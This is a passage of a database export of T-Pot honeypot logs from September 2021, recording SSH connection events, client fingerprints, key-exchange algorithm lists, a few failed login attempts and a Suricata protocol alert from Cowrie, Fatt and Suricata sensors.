"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25409	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:09:55.221528+03	2021-09-20 14:15:10.0965+03	{"_id": "VgblAnwBvYTbRNuE7Rr6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a39d45c8167c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:55.221528Z", "@timestamp": "2021-09-20T11:09:55.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25410	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:55.895696+03	2021-09-20 14:15:10.0975+03	{"_id": "VwblAnwBvYTbRNuE8Bo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1992825835317320, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50638, "dest_port": 22, "timestamp": "2021-09-20T11:09:55.895696Z", "@timestamp": "2021-09-20T11:09:55.895Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25411	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:56.922371+03	2021-09-20 14:15:10.099472+03	{"_id": "ewblAnwBvYTbRNuE9Ro2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48310, "dest_port": 22, "timestamp": "2021-09-20T11:09:56.922371", "@timestamp": "2021-09-20T11:09:56.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25413	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:58.554533+03	2021-09-20 14:15:10.1025+03	{"_id": "jgblAnwBvYTbRNuE_RoH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "132.148.165.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57682, "timestamp": "2021-09-20T11:09:58.554533", "@timestamp": "2021-09-20T11:09:58.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25414	132.148.165.94	109.199.241.180	Fatt	2021-09-20 14:09:58.681306+03	2021-09-20 14:15:10.1035+03	{"_id": "jAblAnwBvYTbRNuE_RoH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57682, "dest_port": 22, "timestamp": "2021-09-20T11:09:58.681306", "@timestamp": "2021-09-20T11:09:58.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25415	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:09:58.549662+03	2021-09-20 14:15:10.104502+03	{"_id": "jwblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 132.148.165.94:57682 (192.168.176.2:22) [session: 3f50ff817701]", "session": "3f50ff817701", "@version": "1", "protocol": "ssh", "src_port": 57682, "dest_port": 22, "timestamp": "2021-09-20T11:09:58.549662Z", "@timestamp": "2021-09-20T11:09:58.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25416	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:59.101769+03	2021-09-20 14:15:10.106498+03	{"_id": "kAblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33018 (192.168.176.2:22) [session: c1e26292d73f]", "session": "c1e26292d73f", "@version": "1", "protocol": "ssh", "src_port": 33018, "dest_port": 22, "timestamp": "2021-09-20T11:09:59.101769Z", "@timestamp": "2021-09-20T11:09:59.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25417	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:58.487652+03	2021-09-20 14:15:10.107505+03	{"_id": "lgblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [moon/moon] failed", "session": "0f53b6be767b", "@version": "1", "password": "moon", "username": "moon", "timestamp": "2021-09-20T11:09:58.487652Z", "@timestamp": "2021-09-20T11:09:58.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
40340	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:43:09.543958+03	2021-09-20 15:45:03.931049+03	{"_id": "3wY7A3wBvYTbRNuES3uN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:43:09.543958Z", "@timestamp": "2021-09-20T12:43:09.543Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25418	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:09:58.552444+03	2021-09-20 14:15:10.108501+03	{"_id": "lwblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3f50ff817701", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:58.552444Z", "@timestamp": "2021-09-20T11:09:58.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25419	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:58.584367+03	2021-09-20 14:15:10.110499+03	{"_id": "mAblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bede61a424ae", "@version": "1", "duration": 2.4579732418060303, "timestamp": "2021-09-20T11:09:58.584367Z", "@timestamp": "2021-09-20T11:09:58.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25420	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:58.661538+03	2021-09-20 14:15:10.11247+03	{"_id": "mQblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d318cd4229d8", "@version": "1", "duration": 3.1472294330596924, "timestamp": "2021-09-20T11:09:58.661538Z", "@timestamp": "2021-09-20T11:09:58.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25421	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:09:58.681876+03	2021-09-20 14:15:10.1135+03	{"_id": "mgblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3f50ff817701", "@version": "1", "timestamp": "2021-09-20T11:09:58.681876Z", "@timestamp": "2021-09-20T11:09:58.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25422	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:58.700876+03	2021-09-20 14:15:10.114471+03	{"_id": "mwblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "2485a52d7755", "@version": "1", "duration": 5.684881687164307, "timestamp": "2021-09-20T11:09:58.700876Z", "@timestamp": "2021-09-20T11:09:58.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25423	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:59.104655+03	2021-09-20 14:15:10.116502+03	{"_id": "nAblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c1e26292d73f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:59.104655Z", "@timestamp": "2021-09-20T11:09:59.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25424	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:09:59.247936+03	2021-09-20 14:15:10.11747+03	{"_id": "nQblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.login.failed", "message": "login attempt [client1/client1] failed", "session": "3f50ff817701", "@version": "1", "password": "client1", "username": "client1", "timestamp": "2021-09-20T11:09:59.247936Z", "@timestamp": "2021-09-20T11:09:59.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25425	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:59.391047+03	2021-09-20 14:15:10.1185+03	{"_id": "ngblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d021f09eb494", "@version": "1", "duration": 2.74452543258667, "timestamp": "2021-09-20T11:09:59.391047Z", 